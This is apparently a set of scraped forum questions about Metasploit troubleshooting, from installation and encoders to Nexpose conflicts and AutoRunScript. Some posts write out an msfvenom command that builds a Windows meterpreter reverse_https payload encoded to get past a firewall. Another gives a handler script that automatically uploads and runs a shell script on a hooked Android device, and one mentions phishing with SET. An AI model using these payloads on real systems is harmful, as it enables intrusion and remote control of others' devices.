i get no meterpreter in ubuntu metasploit

guys if any one know how to help !!! i’m using os ubuntu 16.4 LTS i install msf and everything work fine i have the latest version it’s connect just fine with db so my problem is that when i create a payload.exe and send him to my windows machine and click on it i get no connection i did everything right first i was think that is fairwal problem so i encoding the payload and disable it and i try in old os like xp without no security and it’s the same i think the problem is that my ubuntu is not connect to the host some how idk because when i use setoolkit on phishing for example i get no return login info i was working with parrot in the past and everything was good and easy anyone know how to fix that please it’s been a week i’m trying search for solutions

Metasploit – Installation problems on arch linux

I am trying to get metasploit up and running on my arch based linux system (Manjaro). While this might sound trivial I am having much more trouble than I expected. I pulled the latest version from the AUR using yay metasploit. It “installed” successfully. However I can’t seem to start it. There is no command “metasploit” or “msf” … What am I supposed to do? I checked the github page of metasploit which has installer scripts, however these don’t work on arch linux.

Metasploit encoders

Can someone explain to me how can I use this encoder encoder/x86/bmp_polyglot?

Via msfvenom its not possible because it doesn’t give the possibility to set the encoder options (BitmapFile).

For instance:

msfvenom -p windows/meterpreter/reverse_https LHOST=bla.bla.bla.bla LPORT=bla EXITFUNC=thread -a x86 --platform windows -e x86/bmp_polyglot

I cannot set the option BitmapFile. Is there any other way to use this?

Probably the answer is under my nose but i don’t see it.

What are the best tools to make a perfect environment to develop a Metasploit module?

I am developping my first Metasploit module. I read the starting page and no tools are mentioned to build a beautiful environment.

At the moment, I use gedit to develop my module on Kali Linux. The problem is I am obligated to read the documentation manually and gedit is not capable to add autocompletion and help me with the documentation. Is there a way to do that ?

Issues for using Metasploit and Nexpose on same server

Environment: Red hat linux 7

Recently I received a message from Rapid7 support that by installing metasploit and nexpose on the same server creates compatibility issues as both of them use NMAP (pcap to be specific). I understand that because both the products are maintained separately, there might be an issue of version compatibility (for example, metasploit might be using pcap version 4.1 and nexpose might be using pcap version 4.3)

Reference: https://metasploit.help.rapid7.com/docs/installing-metasploit-pro#section-installing-metasploit-and-nexpose

For us, it is difficult to keep both the products on different servers (financially) as both of them are only used for penetration test.

Question: Is there any other way I can manage to use these products on the same server without having these conflict issues?

Metasploit – AutoRunScript for a shell session

I have a bunch of bash commands I want to run when the shell_reverse_tcp session is hooked.

I tried to :

  • put all my commands into a file mycommands.bash
  • then “set AutoRunScript mycommands.bash”

-> Doesn’t work (and no error message so I don’t know how to debug that).

It’s possible to use AutoRunScript with a shell_reverse_tcp??? Or only with a meterpreter session.

Programming Metasploit

I try to make a Metasploit AutoRunScript for android. The First .rc file has this config

use exploit/multi/handler set PAYLOAD android/meterpreter/reverse_tcp set LHOST xxx.xxx.xxx.xxx (my IP) set LPORT 4545 set AutoRunScript multi_console_command -r /root/Desktop/commands.rc exploit -j -z 

This is the second .rc file (commands.rc)

upload /root/Desktop/and.sh /data/data/com.metasploit.stage/files shell cd /data/data/com.metasploit.stage/files  sh and.sh exit 

The problem is after the shell command is executed the sh and.sh and the exit commands are not executed. If I type manually the sh and.sh and the exit commands it’s working. The question is how can I make this commands to be executed? Any suggestions are welcome and appreciated!